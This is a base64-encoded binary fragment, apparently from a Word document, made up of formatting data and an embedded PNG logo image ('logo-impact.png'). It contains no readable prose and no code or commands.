sFAAABcWaFwlOgBmSAABccoKAAAA/////wAAABcWaBJORgBmSAABccoKAAAA/////wAAADEDagAA AAAVaF1EIAAWaMZjHwBVCAFmSAABbUgABG5IAARxygoAAAD/////AAAAdQgBABgACAAAAggAAAMI AAA7CAAAgwgAAIQIAAClCAAAwAkAAMEJAAC/CgAAwAoAAPcLAAD4CwAAqQwAAKoMAADXDAAA5QwA ACoNAAArDQAALA0AAHQNAADeDQAA8Q0AAPMNAAD3AAAAAAAAAAAAAAAA9wAAAAAAAAAAAAAAAPcA AAAAAAAAAAAAAADuAAAAAAAAAAAAAAAA5gAAAAAAAAAAAAAAAOEAAAAAAAAAAAAAAADhAAAAAAAA AAAAAAAA3AAAAAAAAAAAAAAAANwAAAAAAAAAAAAAAADcAAAAAAAAAAAAAAAA3AAAAAAAAAAAAAAA ANwAAAAAAAAAAAAAAADhAAAAAAAAAAAAAAAA4QAAAAAAAAAAAAAAAOEAAAAAAAAAAAAAAADhAAAA AAAAAAAAAAAA4QAAAAAAAAAAAAAAAOEAAAAAAAAAAAAAAADhAAAAAAAAAAAAAAAA1AAAAAAAAAAA AAAAAOEAAAAAAAAAAAAAAAD3AAAAAAAAAAAAAAAAywAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgT AA3GBQABhAMAZ2SSJ+kAAAcTAAMkAWEkAWdkQXVpAAAEEwBnZNtaVgAABBMAZ2RBdWkAAAcTAAMk A2EkA2dkQXVpAAAIEwARhNACYITQAmdkQXVpAAAHEwADJAFhJAFnZFwlOgAAF6UIAACmCAAAwQgA ANAIAADnCAAA9wgAAPgIAAAGCQAAFgkAABcJAAAvCQAAMwkAADQJAAA8CQAAUAkAAHIJAAB7CQAA fgkAAH8JAACDCQAAnwkAAKkJAACqCQAArwkAAL4JAAC/CQAAwQkAAPnq3s/ez97P3s/q3uq4oY2h dlhEobhEuKG4AAAnFmgOYrQAQ0oYAE9KAABRSgAAYUoYAGZIAAFxygoAAAD/////AAAAOhVoQXVp ABZoDmK0ADBKEABCKg9DShgAT0oAAFFKAABhShgAZkgAAXBoRUVFAHHKCgAAAP////8AAAAALRVo QXVpABZoDmK0AENKGABPSgAAUUoAAGFKGABmSAABccoKAAAA/////wAAACcWaDokDgBDShgAT0oA AFFKAABhShgAZkgAAXHKCgAAAP////8AAAAtFWhBdWkAFmiSBsYAQ0oYAE9KAABRSgAAYUoYAGZI AAFxygoAAAD/////AAAALRVoQXVpABZo21pWAENKGABPSgAAUUoAAGFKGABmSAABccoKAAAA//// /wAAABwVaEF1aQAWaJIGxgBDShgAT0oAAFFKAABhShgAABYWaA5itABDShgAT0oAAFFKAABhShgA ABwVaEF1aQAWaNtaVgBDShgAT0oAAFFKAABhShgAAAwVaEF1aQAWaJIGxgAawQkAANoJAAD0CQAA /AkAABAKAAAdCgAAKQoAAJIKAACVCgAAqgoAAK8KAAC7CgAAvAoAAL4KAADACgAAyQoAAOgKAADw CgAADgsAABQLAAA0CwAANQsAAD8LAABACwAAVgsAAJELAACSCwAAkwsAAJQLAADr1OvArMDrwJXr leuV65WBldSV1JVqlVZqlWqVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACcWaJRxvQBDShgA T0oAAFFKAABhShgAZkgAAXHKCgAAAP////8AAAAtFWhBdWkAFmhcJToAQ0oYAE9KAABRSgAAYUoY AGZIAAFxygoAAAD/////AAAAJxZoQXVpAENKGABPSgAAUUoAAGFKGABmSAABccoKAAAA/////wAA AC0VaEF1aQAWaJIGxgBDShgAT0oAAFFKAABhShgAZkgAAXHKCgAAAP////8AAAAnFmilcaYAQ0oY AE9KAABRSgAAYUoYAGZIAAFxygoAAAD/////AAAAJxZoOiQOAENKGABPSgAAUUoAAGFKGABmSAAB ccoKAAAA/////wAAAC0VaEF1aQAWaNtaVgBDShgAT0oAAFFKAABhShgAZkgAAXHKCgAAAP////8A AAAnFmgOYrQAQ0oYAE9KAABRSgAAYUoYAGZIAAFxygoAAAD/////AAAAAByUCwAAnAsAAJ0LAACe CwAApAsAAPYLAAD3CwAAawwAAIUMAACoDAAA1QwAANYMAADXDAAA5AwAAOUMAADmDAAA7QwAAPIM AADzDAAA+QwAAAQNAAANDQAADg0AACgNAAApDQAA69S91K6finiKn65prlKu1L2u1L3Urr3UAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC0VaEF1aQAWaNtaVgBDShgAT0oA AFFKAABhShgAZkgAAXHKCgAAAP////8AAAAcFWhBdWkAFmhcJToAQ0oYAE9KAABRSgAAYUoYAAAj FmggS9cAQioBQ0oYAE9KAABQSgAAUUoAAGFKGABwaAAAAAApFWhBdWkAFmhBdWkAQioBQ0oYAE9K AABQSgAAUUoAAGFKGABwaAAAAAAcFWhBdWkAFmhBdWkAQ0oYAE9KAABRSgAAYUoYAAAcFWhBdWkA FmiSBsYAQ0oYAE9KAABRSgAAYUoYAAAtFWhBdWkAFmhcJToAQ0oYAE9KAABRSgAAYUoYAGZIAAFx ygoAAAD/////AAAALRVoQXVpABZokgbGAENKGABPSgAAUUoAAGFKGABmSAABccoKAAAA/////wAA ACcWaKoaggBDShgAT0oAAFFKAABhShgAZkgAAXHKCgAAAP////8AAAAAGCkNAAAqDQAAKw0AACwN AAAzDQAAWQ0AAFsNAABmDQAAZw0AAGoNAABzDQAAdA0AAOjUwrCXi3aLYE0uAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAPBVoXCU6ABZoXCU6ADUIgT4qAUIqC0NKGABPSgAAUUoAAGFK GABmSAABcGgAsFAAccoKAAAA/////wAAAAAlFmgMfNwANQiBPioBQioLQ0oYAE9KAABRSgAAYUoY AHBoALBQACsVaCBL1wAWaCBL1wA1CIE+KgFCKgtDShgAT0oAAFFKAABhShgAcGgAsFAAKBVoXCU6 ABZoXCU6ADUIgUIqC0NKGABPSgAAUUoAAGFKGABwaACwUAAAFhZoXCU6AENKGABPSgAAUUoAAGFK GAAAMBVoxmMfABZoxmMfADUIgUNKGABPSgAAUUoAAGFKGABmSAABccoKAAAA/////wAAAAAiFmhc JToANQiBQioLQ0oYAE9KAABRSgAAYUoYAHBoALBQAAAiFmhBdWkANQiBQioLQ0oYAE9KAABRSgAA YUoYAHBoALBQAAAnFmhBdWkAQ0oYAE9KAABRSgAAYUoYAGZIAAFxygoAAAD/////AAAALRVoQXVp ABZoQXVpAENKGABPSgAAUUoAAGFKGABmSAABccoKAAAA/////wAAAAALdA0AANQNAADcDQAA3g0A AOINAADwDQAA8Q0AAPINAADzDQAA9A0AAPYNAAD3DQAA+Q0AAPoNAAD8DQAA/Q0AAAAOAAABDgAA 697Ist6yrqefm5+bn5ufm6cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAYWaAkj2wAADwNqAAAAABZoCSPbAFUIAQwVaJIn6QAWaEF1aQAABhZoQXVpAAAr FWhcJToAFmhcJToANQiBQioLQ0oUAE9KAABRSgAAXQiBYUoUAHBoALBQACsVaFwlOgAWaFwlOgA1 CIFCKgtDShQAT0oAAFFKAABcCIFhShQAcGgAsFAAGBVoXCU6ABZoXCU6ADUIgUIqC3BoALBQAAAo FWhcJToAFmhcJToANQiBQioLQ0oUAE9KAABRSgAAYUoUAHBoALBQABHzDQAA9Q0AAPYNAAD4DQAA +Q0AAPsNAAD8DQAA/g0AAP8NAAAADgAAAQ4AAPUAAAAAAAAAAAAAAADzAAAAAAAAAAAAAAAA9QAA AAAAAAAAAAAAAPMAAAAAAAAAAAAAAAD1AAAAAAAAAAAAAAAA8wAAAAAAAAAAAAAAAPUAAAAAAAAA AAAAAADzAAAAAAAAAAAAAAAA8wAAAAAAAAAAAAAAAOoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACBMA DcYFAAGEAwBnZJIn6QAAAQAAAAkAABJk8AABABSkAABnZJIn6QAACjIAMZBoATpwDmK0AB+w0C8g sOA9IbCgBSKwoAUjkGgBJJCgBSWwAAAXsNACGLDQAgyQ0AIAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZFIAAEQAZAAAAAAAAAAIAAAA AAAAAAAAAAAAAA4G0ALRCdkJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPAATw4AAA ALIECvAIAAAAAQQAAAAKAACTAAvwvAAAAL8ABAAEAARBAQAAAAXBGAAAAD8BAAAGAL8BAAAQAP8B AAAIAIDDFAAAAIHDWgAAAL8DAAACAGwAbwBnAG8ALQBpAG0AcABhAGMAdAAAAFAAaQBjAHQAdQBy AGUAIAA0AAAAQwA6AFwAVQBzAGUAcgBzAFwAWgBFAEUAXABEAGUAcwBrAHQAbwBwAFwAdwBvAHIA awBpAG4AZwBcAGwAbwBnAG8ALQBpAG0AcABhAGMAdAAuAHAAbgBnAAAAAAAQ8AQAAAAAAACAYgAH 8DBRAAAGBrWR04J0L4/DD2uFt9PlAEr/AAxRAAABAAAARAAAAAAAigYAbh7wBFEAALWR04J0L4/D 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 